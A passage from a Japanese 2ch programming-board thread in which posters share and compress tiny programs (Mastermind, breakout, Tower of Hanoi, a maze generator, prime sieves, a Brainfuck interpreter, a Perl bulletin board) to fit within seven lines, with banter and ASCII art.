NGNGサンクス。
Janeでム板のログをずっと検索しても出ない訳だ・・・。
0453デフォルトの名無しさん
NGNGstd::cout << "H";
std::cout << "e";
std::cout << "l";
std::cout << "l";
std::cout << "o";
return 0; }
0454デフォルトの名無しさん
NGNGあったらいろいろ便利だと思うんだけど。
0455デフォルトの名無しさん
NGNGそんなページ作ったら、即行でつぶしにかかりますが。
0456デフォルトの名無しさん
NGNG0457デフォルトの名無しさん
NGNG0458デフォルトの名無しさん
NGNG正直、
【最初の投稿】http://pc2.2ch.net/test/read.cgi/tech/1051703369/458
【改良版】 http://pc2.2ch.net/test/read.cgi/tech/1051703369/458
見たいにURL張るだけ方式でも十分なんじゃないかと。
0459デフォルトの名無しさん
NGNG何が便利なんだかわからん。
0461デフォルトの名無しさん
NGNG× スレ
○ レス
0462デフォルトの名無しさん
NGNG460は体現してくれたんだよ。
間違いじゃない。
0463デフォルトの名無しさん
NGNG書いておけばそんなに問題じゃないと思うけど。
2chに書いたコードなんてpublic domainだろ。
0464デフォルトの名無しさん
NGNGオセロ、テトリス、砂嵐などはよく見かけるし。
そんなことより、7行LISPまだ? おれは無理ポ
0465デフォルトの名無しさん
NGNG0466デフォルトの名無しさん
NGNGこういうのあったなーとか振り返れていい。
0467デフォルトの名無しさん
NGNG漏れがpart3に張ったScheme風のやつからガベコレをはずしても7行いかない。
他は削りたくないなー
0468デフォルトの名無しさん
NGNGでも人気投票とかそういうくだらないことをしかねないから、
俺はまとめスレは反対。最後に一覧を貼るだけで十分だと思う。
0469デフォルトの名無しさん
NGNGタイトルだけでもまとめてくれると嬉しいんだが
え?過去スレ嫁?
全くです
0470デフォルトの名無しさん
NGNG0471デフォルトの名無しさん
NGNG0472デフォルトの名無しさん
NGNG0473デフォルトの名無しさん
NGNGおーつかれ。
0474デフォルトの名無しさん
NGNG単にまとめサイト貼っただけだよ
結構前からある
0475デフォルトの名無しさん
NGNG( ⌒ ヽ >>474教えてくれて有賀と。
∪ 。ノ
∪∪
0476デフォルトの名無しさん
NGNG0477デフォルトの名無しさん
NGNG0478デフォルトの名無しさん
NGNGスネークゲーム原作者 http://www.geocities.jp/wired_explorer/_ja/programs/scripts/snake_game/index.html
テトリスなど作者 http://www.isl.cs.gunma-u.ac.jp/~shingo/make/7line/7line.html
パックマソなど作者 http://yn.pos.to/ ( http://cm.xrea.cc/ )
オセロ解説ページ http://pascal.wanderers.jp/lsmcc/7lines/index.html
0479デフォルトの名無しさん
NGNGhttp://www.2occc.nothing.sh/
せっかく作ってもらったのに、その後何も進展がないぞ。
0480デフォルトの名無しさん
NGNGオセロの作者はないの?
解説ページは作者の了承を得ずにソースを載せているのかな?
0481デフォルトの名無しさん
NGNGほかのソースだって、コピペされまくりじゃん。
0482デフォルトの名無しさん
NGNG>>278のリンク先とかな
0483デフォルトの名無しさん
NGNG( ⌒ ヽ >>278 盗作じゃん
∪ 。ノ
∪∪
0484デフォルトの名無しさん
NGNGすべての7行プログラムはウリジナルニダ
盗作の謝罪と賠償を(ry
0485デフォルトの名無しさん
NGNG今までのスレのログと、ソース管理すれば?
と他力本願な意見
0486デフォルトの名無しさん
NGNG0487デフォルトの名無しさん
NGNGたいした数ないんだったら次からテンプレにしちまえ。
この板32行までだから、1レスに4個くらいいけるぞ。
0488デフォルトの名無しさん
NGNG200個くらいかな。
0489デフォルトの名無しさん
NGNG0490デフォルトの名無しさん
NGNG0491デフォルトの名無しさん
NGNGよかった、漏れが作ってる奴は未出のようだ。
たいしたもんじゃないけど。
ナンバーマスターマインド
コンピューターがランダムに決定する4桁の数字を当てる。
プレイヤーが4桁の数字を入力すると、
正解と、位置も数字も一致するものはhit、数字は合っているが位置が違うのがblowとして教えてくれる。
例えば正解が1234で、8231と入力するとhit=2,blow=1である。
正解は必ず4桁とも違う数字であり、回答するときも同じ数字は使えない。
includeは勘弁して下さい…。
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){char a[5],u[99];int h,b,i,j,w,c=0,f;a[4]=0;srand(time(0));while(1){
for(i=0;i<4;i++){f=1;while(f){f=0;a[i]='0'+rand()%10;for(j=i-1;j>=0;j--)if(a[j]
==a[i])f=1;}}f=1;while(f){h=0;b=0;w=0;printf("4桁入力:");u[3]=0;scanf("%s",u);
if(!u[3])w=1;for(i=1;i<4;i++)for(j=i-1;j>=0;j--)if(u[j]==u[i])w=1;if(w)continue;
c++;for(i=0;i<4;i++){if(u[i]==a[i]){h++;}else{for(j=0;j<4;j++){if(u[i]==a[j]){
b++;break;}}}}if(h==4){printf("%d手で正解 もう1回?(y/n):",c);scanf("%s",u);f=0;
}else{printf("hit=%d,blow=%d\n",h,b);}}if(u[0]!='y')break;}return;}
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
blowのスペル合ってるんだろうか。
0493デフォルトの名無しさん
NGNGblowのスペルについては知らんが、とりあえず一行縮め。
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){char a[11],u[99],h,b,i,j,c;srand(time(0));for(;;){c=0;for(i=0;i<10;i
++)a[i]=i+48;for(i=9;i>0;--i){j=rand()%i;h=a[i];a[i]=a[j];a[j]=h;}for(;;){u[3]=
0;printf("4桁入力:");scanf("%s",u);i=*u;j=u[1];h=u[2];b=u[3];if(b&&i-j&&i-h&&i
-b&&j-h&&j-b&&h-b){c++;for(h=b=i=0;i<4;i++)if(u[i]==a[i])h++;else for(j=0;j<4;j
++)b+=u[i]-a[j]?0:1;if(h==4){printf("%d手で正解 もう1回?(y/n):",c);scanf("%s",u
);break;}printf("hit=%d,blow=%d\n",h,b);}}if(*u!='y')break;}return 0;}
include含めて7行にしたいとこなんだがなぁ。
0494デフォルトの名無しさん
NGNGなんとか8行。大きな変更はtimeとgets。あとは小手先。
>>493氏の改造だけどgcc -Wallで警告出ちゃいますよ。
#include <stdio.h>
#include <stdlib.h>
time_t time(time_t*);int main(){char a[11],u[99],h,b,i,j,c;srand(time(0));for(;;
){for(c=i=0;i<10;i++)a[i]=48+i;for(i=9;i>0;--i){j=rand()%i;h=a[i];a[i]=a[j];a[j]
=h;}for(;;){u[3]=0;printf("4桁入力:");gets(u);i=*u;j=u[1];h=u[2];b=u[3];if(b&&i
-j&&i-h&&i-b&&j-h&&j-b&&h-b){c++;for(h=b=i=0;i<4;i++)if(u[i]-a[i])for(j=0;j<4;j
++)b+=(u[i]==a[j]);else h++;if(h&4){printf("%d手で正解 もう1回?(y/n):",c);gets(u
);break;}printf("hit=%d,blow=%d\n",h,b);}}if(*u!=59)break;}return 0;}
0495377 ◆HuPaSCAL16
NGNG#include <stdlib.h>
time_t time(time_t*);char a[58],u[99]="y",h,b,i,j,w,c,f;main(){for(srand(time(0
));*u=='y';){for(i=57;i--;)i/4?c=a[i]=0:!a[f=48+rand()%10]?a[a[i]=f]=1:i++;for(
;f;u[3]=h=b=0){printf("4桁入力:"),gets(u),w=u[3];for(i=4;--i;)for(j=i;j--;w*=
u[j]!=u[i]);for(c++,i=4;w*i--;)u[i]-a[i]?b+=a[u[i]]:h++;h/4*w?printf("%d手で正\
解 もう1回?(y/n):",c),gets(u),f=0:printf("hit=%d,blow=%d\n",h,b);}}return 0;}
できました。けど、<time.h>を読み込まずにこの形にするのはセーフ?アウト?
なんだか個人的にはいけないのじゃないかって気もしてるけど。。。
てことで、<time.h>入れて七行になるようにまだ頑張ります(´д`;)
0496377 ◆HuPaSCAL16
NGNG#include <stdio.h>
#include <stdlib.h>
time_t time(time_t*);char a[58],u[99]="y",h,b,i,j,w,c,f;main(){for(srand(time(0
));*u=='y';){for(i=57;i--;)i/4?c=a[i]=0:!a[f=48+rand()%10]?a[a[i]=f]=1:i++;for(
;f;u[3]=h=b=0){printf("4桁入力:"),gets(u),w=u[3];for(i=4;--i;)for(j=i;j--;w*=
u[j]!=u[i]);for(i=4;w*i--;)u[i]-a[i]?b+=a[u[i]]:h++;w?c++,h/4?printf("%d手で正\
解 もう1回?(y/n):",c),gets(u),f=0:printf("hit=%d,blow=%d\n",h,b):0;}}return 0;}
0497デフォルトの名無しさん
NGNG0498デフォルトの名無しさん
NGNGうわ〜、Huカードで動作する16ビットPascalでつか。すげ〜。
0499デフォルトの名無しさん
NGNG前にその技がマインスイーパーで使われていたよね。あれはぎりぎり7行だったけど。
ところで、ランダムを自前で作ればいいんじゃないの?part1の砂嵐みたく。
0500デフォルトの名無しさん
NGNGfor(i=4;--i;)h+=!(u[i]*=u[i]==(a[i]=c?a[i]:48+rand()%10));
for(i=16;--i;)b+=!i*(u[i/4]==a[i%4]);
乱数のシードにcかuを使うのはどうでしょ?
0501377 ◆nOpX3dBxz6
NGNGえぇとえぇと、そしたらincludeは全部なくせちゃうよね。ANSI Cではどうなんだろうとか。
VC++6.0とgcc2.95で動くコード:
void srand(unsigned);unsigned long time(unsigned long*);char*gets(char*),a[58],
u[99],h,b,i;int printf(const char*,...),rand(),c;main(w){for(srand(time(0));!h;
h=121-*gets(u)){for(i=57;i--;)i/4?c=a[i]=0:a[a[i]=48+rand()%10]++&&i++;for(;h<4
;w?++c,h/4||printf("hit=%d,blow=%d\n",h,b):0){u[3]=b=!printf("4桁入力:"),w=3[
gets(u)];for(h=4;--h;)for(i=h;i--;w*=u[i]-u[h]);for(i=4;i--;)u[i]-a[i]?b+=!!a[u
[i]]:h++;}printf("%d手で正解 もう1回?(y/n):",c);}return 0;}
てきとーに乱数ぽくしたやつ。timeをなくしたら初期値が辛い:
#include <stdio.h>
#include <time.h>
char a[58],u[99],h,b,i,c;double r;main(w){for(;!h;h=*gets(u)-121){for(i=57;i--;
i/4?c=a[i]=0:a[a[i]=48+(int)r]++&&i++)for(r=h?r:1./time(0),h=99;h--;)r*=4-.4*r;
for(;h<4;w?c++,h/4||printf("hit=%d,blow=%d\n",h,b):0){u[3]=b=!printf("4桁入力\
:"),w=gets(u)[3];for(h=4;--h;)for(i=h;i--;w*=u[i]-u[h]);for(i=4;i--;)u[i]-a[i]
?b+=!!a[u[i]]:h++;}printf("%d手で正解 もう1回?(y/n):",c);}return 0;}
>>500
キリ番おめ〜。
0502デフォルトの名無しさん
NGNG0503デフォルトの名無しさん
NGNG(´・ω・`)全然だめぽ…。
#include <stdio.h>
int r,i,s,d,e,E,n,u[16],f=8000,h=500000;double sin(double),pow(double,double),w
,o,k[128];FILE*M,*W;int m(){return fgetc(M);}int x(){r=0;do{i=m();r=(r<<7)+(i&
127);}while(128&i);return r;}main(int c,char**v){M=fopen(v[1],"rb");W=fopen(v[2
],"wb");fseek(M,12,0);d=m();d=(d<<8)+m();fseek(M,22,0);fwrite("RIFF____WAVEfmt"
" \x10\0\0\0\x1\0\x1\0@\x1f\0\0@\x1f\0\0\x1\0\x8\0data____",1,44,W);for(;;){e=
0.000001*x()*h*f/d;while(e--){w=128;o=51.37/f*s;for(n=0;n<128;n++){o*=1.05946;k
[n]*=0.9996;w+=sin(o)*k[n]/2000;}fputc(w<0?0:(w<256?w:255),W);s++;}e=m();if(e<
128){n=e;e=E;}else if(e<240||e==255)n=m();E=e;u[9]=0;if(e>>4==11&&n==7)u[e&15]=
m();else if(e>>6==2||e>>4==14)k[n]+=m()*u[e&15]*(e>>4==9);if(e==255){if(n==47)
break;if(n==81){m();h=m();h=(h<<8)+m();h=(h<<8)+m();}else fseek(M,x(),1);}else
if(e>>4==15){fseek(M,x(),1);}}fseek(W,40,0);fwrite(&s,4,1,W);s+=36;fseek(W,4,0)
;fwrite(&s,4,1,W);fclose(M);fclose(W);}
0504503
NGNG0505デフォルトの名無しさん
NGNG0506デフォルトの名無しさん
NGNGindentコマンド使おうぜ。まあ変数名とかは戻らんが…
0507デフォルトの名無しさん
NGNG編集中は改行が入ったりすることはあるが、
元のソースも何も、はじめからずっとこのまま。
0508デフォルトの名無しさん
NGNGこの辺にインデントつきソースがあるなら張ったらいいと思われ
0509デフォルトの名無しさん
NGNG10行になってしまった。。。
#include <stdio.h>
int f[22][22],i,j,k,l,m,n,o[2],p,x,y,time(int),rand(),srand(int);main(){srand(t\
ime(0));for(i=50;i--;)for(;!f[j=rand()%20+1][k=rand()%21+1]?f[j][k]=32,0:1;);for
(i=21;--i;)for(j=21;--j;)for(k=-1;k<2;k++)for(l=-1;l<2;l++)f[j][i]+=~f[j][i]&32
&&f[j+l][i+k]&32;for(;p-50;m=!m){for(;p-50;o[m]++,p++){for(i=1;i<21;puts(""),i+\
+)for(j=1;j<21;j++)putchar(f[j][i]&16?32+f[j][i]:43);do{printf("%cP>",49+m);sca\
nf("%d %d",&x,&y);}while(f[x++][y++]&16);f[x][y]|=16;if(f[x][y]-48)break;}do{k=0
;for(i=21;--i;)for(j=21;--j;)for(l=-1;l<2;l+=2){!(f[j-l][i]-16||f[j][i]&16)?f[j]
[i]|=16,k=1:0;!(f[j][i-l]-16||f[j][i]&16)?f[j][i]|=16,k=1:0;}}while(k);}printf(
"result:1P[%d]2P[%d",o[0],o[1]);}
0510デフォルトの名無しさん
NGNG前に出ていたマインスイーパはマップの広さを指定できたが、
それに比べればずいぶんぬるいな。
0511デフォルトの名無しさん
NGNGぬるぽあげ?
0512デフォルトの名無しさん
NGNG最悪
0513デフォルトの名無しさん
NGNG俺達は何かとんでもない勘違いを(ry
ぬるぽあげ → ぬるぽ-age → ぬるぽ時代 だったんだー
0514デフォルトの名無しさん
NGNG、ミ川川川彡 ,ィr彡'";;;;;;;;;;;;;;;
ミ 彡 ,.ィi彡',.=从i、;;;;;;;;;;;;
三 ギ そ 三 ,ィ/イ,r'" .i!li,il i、ミ',:;;;;
三. ャ れ 三 ,. -‐==- 、, /!li/'/ l'' l', ',ヾ,ヽ;
三 グ は 三 ,,__-=ニ三三ニヾヽl!/,_ ,_i 、,,.ィ'=-、_ヾヾ
三 で 三,. ‐ニ三=,==‐ ''' `‐゛j,ェツ''''ー=5r‐ォ、, ヽ
三. 言 ひ 三 .,,__/ . ,' ン′  ̄
三 っ ょ 三 / i l,
三. て っ 三 ノ ..::.:... ,_ i ! `´' J
三 る と 三 iェァメ`'7rェ、,ー' i }エ=、
三 の し 三 ノ "'  ̄ ! '';;;;;;;
三 か て 三. iヽ,_ン J l
三 !? 三 !し=、 ヽ i ,.
彡 ミ ! "'' `'′ ヽ、,,__,,..,_ィ,..r,',",
彡川川川ミ. l _, , | ` ー、≡=,ン _,,,
ヽ、 _,,,,,ィニ三"'" ,,.'ヘ rー‐ ''''''"
`, i'''ニ'" ,. -‐'" `/
ヽ ! i´ /
ノレ'ー'! / O
0515デフォルトの名無しさん
NGNG#include <stdlib.h>
#include <time.h>
int S(a,b,c){int t=0,x;while(1){x=rand()%10;if (x==c){t+=x*100;goto p;}}p:
while(1){x=rand()%10;if (x==b){t+=x*10;goto q;}}q:while(1){x=rand()%10;
if(x==a){t+=x;goto r;}}r:return t;}int main(){int a,b,c,d;a=b=c=d=0;
srand((unsigned)time(NULL));a=S(0,3,2);b=S(4,9,1);c=S(6,0,2);d=S(2,0,2);
a>>=1;b>>=1;c>>=1;d>>=1;printf("%c%c%c%c\n", a,b,c,d);}
いやー7文字に収められなかったわ
0516デフォルトの名無しさん
NGNG狙ってボケようとして素でボケるのは俺っぽいなぁ。
0517デフォルトの名無しさん
NGNG0518デフォルトの名無しさん
NGNG…もうだめぽ。。。気を取り直して
main(){
…もうだめぽ。。。じゃあ、これならどうだ
main=19
最小のプログラムさえ書けないなんて…もうだめぽ。。。
0519デフォルトの名無しさん
NGNG10 LINE
0520デフォルトの名無しさん
NGNGで6文字・・・
0521デフォルトの名無しさん
NGNGprint'';
C以外でも文字すら表現できない・・・_| ̄|○
0522デフォルトの名無しさん
NGNG10 LIST
と書きたかったのだろうか?
0523515
NGNG0524デフォルトの名無しさん
NGNGそう。鬱死
0525デフォルトの名無しさん
NGNGjavaScriptなら alert() 。文字すら表示不可とは。
0526デフォルトの名無しさん
NGNG--- seven.c ---
_SEVEN_
--------------
$ gcc seven.c -D_SEVEN_="int main(){return 0;}"
>>520
それ何?
0527デフォルトの名無しさん
NGNGBASICなら行番号は1桁で。
1 LIST
これで6文字。
1 LLIST
これでプリンター出力まで可能だ。
1 ? 1+1
で計算までも出来るじゃないか。
0528デフォルトの名無しさん
NGNG>>520は朝にありがちな過ちだ・・・気にしないでくれ・・・
0529デフォルトの名無しさん
NGNGBASICスゲー!!
0530デフォルトの名無しさん
NGNG?"hello
で挨拶まで出せる!
そろそろこのネタをやめるか?(w
0531デフォルトの名無しさん
NGNGmsg "n"とかで出せない?
0532デフォルトの名無しさん
NGNG0533デフォルトの名無しさん
NGNGecho aa
0534デフォルトの名無しさん
NGNGそゆの obfuscated c code contest ではよくみるね
http://ioccc.org/1987/biggar.c
http://ioccc.org/1987/biggar.hint
とか
http://ioccc.org/1988/spinellis.c
とか
0535デフォルトの名無しさん
NGNG一瞬で消える、ちなみに
mes "n"
0536デフォルトの名無しさん
NGNG君はくだらないレスをageで書くんだな
0537デフォルトの名無しさん
NGNG0538デフォルトの名無しさん
NGNGそれcgiでなかったっけ
0539デフォルトの名無しさん
NGNG・・・は、なんか5行でできちゃいそうだな
0540デフォルトの名無しさん
NGNGあ、そうか。WebProgの方か。
失礼しました。
0541デフォルトの名無しさん
NGNGjis2sjis なら2行になってたはず。part3あたりかな。
jis<->euc は容易だから、全体で7行にできるだろう。
>>540
スレッドじゃない掲示板なら、ここにあった。
別にここではいけないということもないかと。
0542デフォルトの名無しさん
NGNG#include <stdio.h>
int i,p,v,c,n,z,a[10];long time(long *);void srand(unsigned);void main(void){
for(srand(time(NULL)),i=0;i<10;)a[i++]=-1;for(a[z=p=rand()%9+1]=0,i=1;i<=3;)if
(a[p=rand()%10]<0){a[p]=i++;z=z*10+p;}for(c=0;c<10;){printf("[%2d] >> ",++c);
scanf("%d",&n);for(v=0,i=4;i;n/=10)v+=(a[p=n%10]==--i)?10:(a[p]>=0);if(v==40)
break;printf("%14c## %2dH %2dB\n",' ',v/10,v%10);}printf("\n <<%d>>\n",z);}
0543デフォルトの名無しさん
NGNGとりあえず、日付つき、名前と本文両方を入れないとはじく
程度の機能は有ります。
(毎回名前を入れないといけないので面倒で重いけど
4行目の $t[4]/$t[3] を $t[2]:$t[1] に置換すれば簡易チャットにも)
#!/usr/bin/perl
$l='log.dat';@t=localtime();$t[4]++;use CGI;$q=new CGI;$d=$q->param('n');
$e=$q->param('h');($d&&$e)and &g;&p;exit;sub g{&i;open F,">$l";flock(F,2);print
F "$t[4]/$t[3]:$d<BR>$e<HR>\n",@b;close F;}sub p{&i;print"Content-Type:text/h"
,"tml\n\n一行掲示板<FORM METHOD=POST ACTION=\"lb.cgi\" NAME=1>名前<INPUT TYPE="
,"TEXT SIZE=20 NAME=n><BR>本文<INPUT TYPE=TEXT SIZE=60 NAME=h><BR><INPUT TYPE="
,"SUBMIT VALUE=\"送信\"></FORM><HR>",@b;}sub i{open F,"$l";@b=<F>;close F;}
//ありきたりだから既出かもしれない。
0544543
NGNG0547デフォルトの名無しさん
NGNG0548デフォルトの名無しさん
NGNGwebprogがスレッド式掲示板で盛り上がっているから
そちらに投稿したほうがよさげではないかと。
0549デフォルトの名無しさん
NGNG0550デフォルトの名無しさん
NGNG0551初参戦
NGNG7行じゃ無理だった |´・ω・)
#include <stdio.h>
#include <conio.h>
#define c printf("\x1b[2J")
#define l(x,y) printf("\x1b[y;xH")
void main(){int m[10][3],x=5,i,j,q=1,w=4,o=1,p=1;for(i=0;i<10;i++){for(j=0;
j<3;j++){m[i][j]=1;}}for(;;){int g=getch();if(g==77)x++;if(g==75)x--;c;for(i=0
;i<10;i++){for(j=0;j<3;j++){if(m[i][j]==1){l(i,j);printf("+");}}}l(x,10);prin\
tf("_");q=q+o;w=w+p;if(q>9){o=-1;}if(q<1){o=1;}if(w>9){if(x!=q){exit(0);}p=-1;}
if(w<1){p=1;}if(w<3&&m[q][w]==1){p=1;o=abs(o);m[q][w]=0;}l(q,w);printf(".");}}
NT系の人は
#define c printf("\x1b[2J")
#define l(x,y) printf("\x1b[y;xH")
を
#include <windows.h>
void l(short x,short y) {COORD c={x,y}; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),c); }
void c() {system("cls");}
に変えて、2行目を
j<3;j++){m[i][j]=1;}}for(;;){int g=getch();if(g==77)x++;if(g==75)x--;c();for(i=0
にして下さい…。もうだめぽ
常連さん圧縮キボンヌ
0552551@初参戦
NGNGスレ汚しごめんなさい |´・ω・)
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <stdlib.h>
#include <time.h>
void l(int x,int y){COORD c={x,y};SetConsoleCursorPosition(GetStdHandle(STD_O\
UTPUT_HANDLE),c);}void c(){system("cls");}void main(){srand(time(0));int m[10]
[3],x=5,i,j,q=1,w=4,o=1,p=1;for(i=0;i<10;i++){for(j=0;j<3;j++){m[i][j]=1;}}for
(;;){int g=getch();if(g==77)x++;if(g==75)x--;c();for(i=0;i<10;i++){for(j=0;j<3
;j++){if(m[i][j]==1){l(i,j);printf("+");}}}l(x,10);printf("_");q=q+o;w=w+p;if
(q>9){o=-1;}if(q<1){o=1;}if(w>9){if(x!=q){exit(0);}p=-1;}if(w<1){p=1;}if(w<3&\
&m[q][w]==1){p=1;g=rand()%2;if(g<1){o=abs(o);}m[q][w]=0;}l(q,w);printf(".");}}
0553デフォルトの名無しさん
NGNGlet e(a:x)=a:e[y|y<-x,y`rem`a/=0]in e[2..]
0554デフォルトの名無しさん
NGNGCと比べてあんまり短くないがそれでいいのかHaskell。
main(i,z){for(;z=i++;z||printf("%d,",i))while(i%z--);}
0555デフォルトの名無しさん
NGNG計算だけじゃなくて表示もすると、
main=(putStr.show)let e(a:x)=a:e[y|y<-x,y`rem`a/=0]in e[2..]
ちょっと縮めて(改悪)
main=(putStr.show)[x|x<-[2..],all(/=0).rem x)[2..x-1]]
>>554と同じ長さか…
0556555
NGNG正しくは
main=(putStr.show)[x|x<-[2..],all((/=0).rem x)[2..x-1]]
打つ出し脳
0557デフォルトの名無しさん
NGNGそんな超非効率なアルゴリズムと比べてもらっては困る。
こっちはちゃんとしたエラトステネスの篩いだぞ。
>>555
元のでもhugsでそのまま入力すれば表示されるけど、
コンパイルしたいなら、
main=print$e[2..]where e(a:x)=a:e[y|y<-x,y`rem`a/=0]
のほうが短い。
0558デフォルトの名無しさん
NGNG#include <conio.h>
#include <windows.h>
void c(){system("cls");}void r(int c){putchar(c);}void l(int x,int y){COORD c={
x,y};SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),c);}int main(){
char m[30],*n,x=5,i,q=1,w=4,o=1,p=1,g,z=' ';memset(m,'+',30);for(;;){do{g=getch
();}while(g&128);g==77?x++:g==75?x--:0;c();for(i=0;i<30;i++){r(m[i]);i%10-9?0:r
('\n');}l(x,10);r('_');q+=o;w+=p;q>8?o=-1:q<1?o=1:0;if(w>9){x-q?exit(0):0;p=-1;
rand()%2<1?--w:0;}w<1?p=1:0;n=m+q+w*10;w<3&&*n-z?p=1,*n=z:0;l(q,w);r('.');}}
stdio.h やら srand やら色々忘れ去ってやっと8行…
0559558
NGNG#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
int r(c){putchar(c);}int main(){int m[30]={0},*n,x=5,q=1,w=4,o=1,p=1,g;for(;;){
for(;g&128;g=getch());x+=g-77?g-75?0:x?-1:0:1;q+=o;w+=p;o=q>8?-1:q?o:1;w>9?p=-1
,w-=1,x-q?exit(0):0:0;p=w?p:1;n=m+q+w*10;w<3&&*n-11?p=1,*n=11:0;system("cls");
for(g=0;g<129;g++){g>99||g%10?0:r(10);r(m+g-n?90+x-g?g<30?43-m[g]:32:95:46);}}}
0560デフォルトの名無しさん
NGNG機械から遠い言語だから適してない感じ。
import Control.Monad.State;import Char;p=put;l=liftIO;x='[';y=']';z=[0,0..];
k=do{(a@(b,c:d),m@(e,f:g))<-get;case c of{'+'->p(a,(e,(f+1):g));'-'->p(a,(e,(f-
1):g));'>'->p(a,h m);'<'->p(a,j m);'.'->(l.putChar.chr)f;','->l getChar>>= \c->
p((b,c:d),m);'['|f==0-> p(i x h(h a),m);']'|f/=0->p(i y j(j a),m);_->return()};
unless(null d)(n>>k)};n=modify(\(p,o)->(h p,o));o '['=y;o ']'=x;
h(l,r:x)=(r:l,x);j(l:x,r)=(x,l:r);i r f=j where{j p@(_,d:_)|d==o r=p;
j p@(_,s:_)|s==r=(j.f.j.f)p;j p=j$ f p};
main=getContents>>= \s->runStateT k(([],filter(not.isSpace)s),(z,z))
0561デフォルトの名無しさん
NGNGpackage HexDump;my$d;sub w{$_[0]=~/\S/}open 0 or die "ET'$0'\n";($d=join('',
<0>))=~ s/.*^\s*use\s+HexDump\s*;\n//sm;local$SIG{__WARN__}=\&w;if($d=~
/^48657844756d70(.*)/){eval pack('H*',$1)}else{open A,">$0" or die "EE'$0'\n";
print A "use HexDump;\n",'48657844756d70',unpack('H*',$d),"\n"}exit;1;
% cat h.pl
use HexDump;
print "Hello, World!\n";
% perl h.pl
% cat h.pl
use HexDump;
48657844756d707072696e74202248656c6c6f2c20576f726c64215c6e223b0a0a
% perl h.pl
Hello, World!
%
モジュール部分はまだ文字を詰め込める余裕があるのでもう少し遊べますな。
やる気無いけど。
0562デフォルトの名無しさん
NGNG=~/^(.*?use\s+HexDump\s*;)(\n$m)?(.+)/s;$e?do{s/\s//g;$_=pack"H*",$_;eval}:open
(0,">$0")?do{$_=join" ",$m,map{unpack"H2",$_}/./gs;s/(\w\w ){8}/$& /g;
s/(.{50}) /$1\n/g;print 0"$h\n$_"}:die$!;exit
0563デフォルトの名無しさん
NGNG#define P(x) printf(x)
void d(int*s){int i,j,k;for(i=0;i<4;i++){for(j=0;j<3;j++){if((*s)==0)
P(" ┃ ");else{for(k=0;k<(4-*s);k++)P(" ");for(k=0;k<(*s)*2-1;k++)
P("■");for(k=0;k<(5-*s);k++)P(" ");}s++;}P("\n");}}void main(){int x[3]=
{0,4,4},y[5][3]={{1,0,0},{2,0,0},{3,0,0},{4,0,0},{9,9,9}},a,b;while(y[0][2]!=1)
{int f=-1,h=-1;d(&y[0][0]);while(f<1 || f >3)scanf("%d",&f);while(h<1 || h >3)
scanf("%d",&h);a=x[f-1];b=x[h-1];if(y[a][f-1]<y[b][h-1]){y[b-1][h-1]=y[a][f-1];
y[a][f-1]=0;x[f-1]++;x[h-1]--;}else continue;}d(&y[0][0]);}
誰かエロい人、7行にしてけろ。
0564デフォルトの名無しさん
NGNGi--;){for(j=3;j--;){if((*s)==0)printf(" ┃ ");else{for(k=(4-*s);k--
;)printf(" ");for(k=(*s)*2-1;k--;)printf("■");for(k=(5-*s);k--;)printf(" ");
}s++;}printf("\n");}}void main(){int x[3]={0,4,4},y[15]={1,0,0,2,0,0,3,0,0,4,0,
0,9,9,9},a,b;while(y[2]!=1) {int f=-1,h=-1;d(y);while(f<1||f>3)scanf("%d",&f);
while(h<1||h>3)scanf("%d",&h);f--;h--;a=x[f];b=x[h];if(y[a*3+f]<y[b*3+h]){y[b*3
-3+h]=y[a*3+f];y[a*3+f]=0;x[f]++;x[h]--;}}d(y);}
0565564
NGNG#include <stdio.h>
int*s,x[3]={0,4,4},y[15]={1,0,0,2,0,0,3,0,0,4,0,0,9,9,9},a,b,i,j,k,f,h;void d()
{s=y;for(i=4;i--;){for(j=3;j--;){if((*s)==0)printf(" ┃ ");else{
for(k=(4-*s);k--;)printf(" ");for(k=(*s)*2-1;k--;)printf("■");for(k=(5-*s);k
--;)printf(" ");}s++;}printf("\n");}}void main(){while(y[2]!=1){d();f=h=-1;
while(f<1||f>3)scanf("%d",&f);while(h<1||h>3)scanf("%d",&h);f--;h--;a=x[f];b=x[
h];if(y[a*3+f]<y[b*3+h]){y[b*3-3+h]=y[a*3+f];y[a*3+f]=0;x[f]++;x[h]--;}}d();}
0566デフォルトの名無しさん
NGNG(!i||!j||i==30||j==30)?0:1;m[x][y]=0;X=[],Y=[];i=0;do{if(!(c=m[x][y-2]+m[x+2][
y]+m[x][y+2]+m[x-2][y])){x=X[--i];y=Y[i]}X[i]=x;Y[i]=y;b=a.floor(a.random()*4);
if(b==0&&m[x][y-2])m[x][--y]=m[x][--y]=0,i++;if(b==1&&m[x+2][y])m[++x][y]=m[++x]
[y]=0,i++;if(b==2&&m[x][y+2])m[x][++y]=m[x][++y]=0,i++;if(b==3&&m[x-2][y])m[--x]
[y]=m[--x][y]=0,i++;}while(i||m[28][2]);for(i=0;i<31;i++)for(j=0;j<31;j++)
document.write((j?"":"<br>")+(m[j][i]?"■":" "));</script>
迷路
0567くりあき
NGNGあやわー本店もよろしく
0568デフォルトの名無しさん
NGNG0569デフォルトの名無しさん
NGNGどのブロック崩し?それに、あなたの環境は?
あとCPPでコンパイルしてみたりした?
0570デフォルトの名無しさん
NGNG切符問題スクリプトを http://cm.xrea.cc/ に載せたいので
許可を頂きたいのですが。
0571410
NGNG構いませんよ
413,416,432は私じゃないので念の為
0572デフォルトの名無しさん
NGNG6行オセロに匹敵する名作が出ているなら教えて。
0573デフォルトの名無しさん
NGNGextern"C"{putchar(int);getch();exit(int);system(char*);}void r(int c){putchar(c
);}int main(){int m[30]={0},*n,x=5,q=1,w=4,o=1,p=1,g;for(;;){for(;g&128;g=getch
());x+=g-77?g-75?0:x?-1:0:1;q+=o;w+=p;o=q>8?-1:q?o:1;w>9?p=-1,w-=1,x-q?exit(0):
0:0;p=w?p:1;n=m+q+w*10;w<3&&*n-11?p=1,*n=11:0;system("cls");for(g=0;g<129;g++){
g>99||g%10?0:r(10);r(m+g-n?90+x-g?g<30?43-m[g]:32:95:46);}}}
0574デフォルトの名無しさん
NGNGbash-2.05b$ g++ -mno-cygwin block.cc
block.cc:1: error: ISO C++ forbids declaration of `putchar' with no type
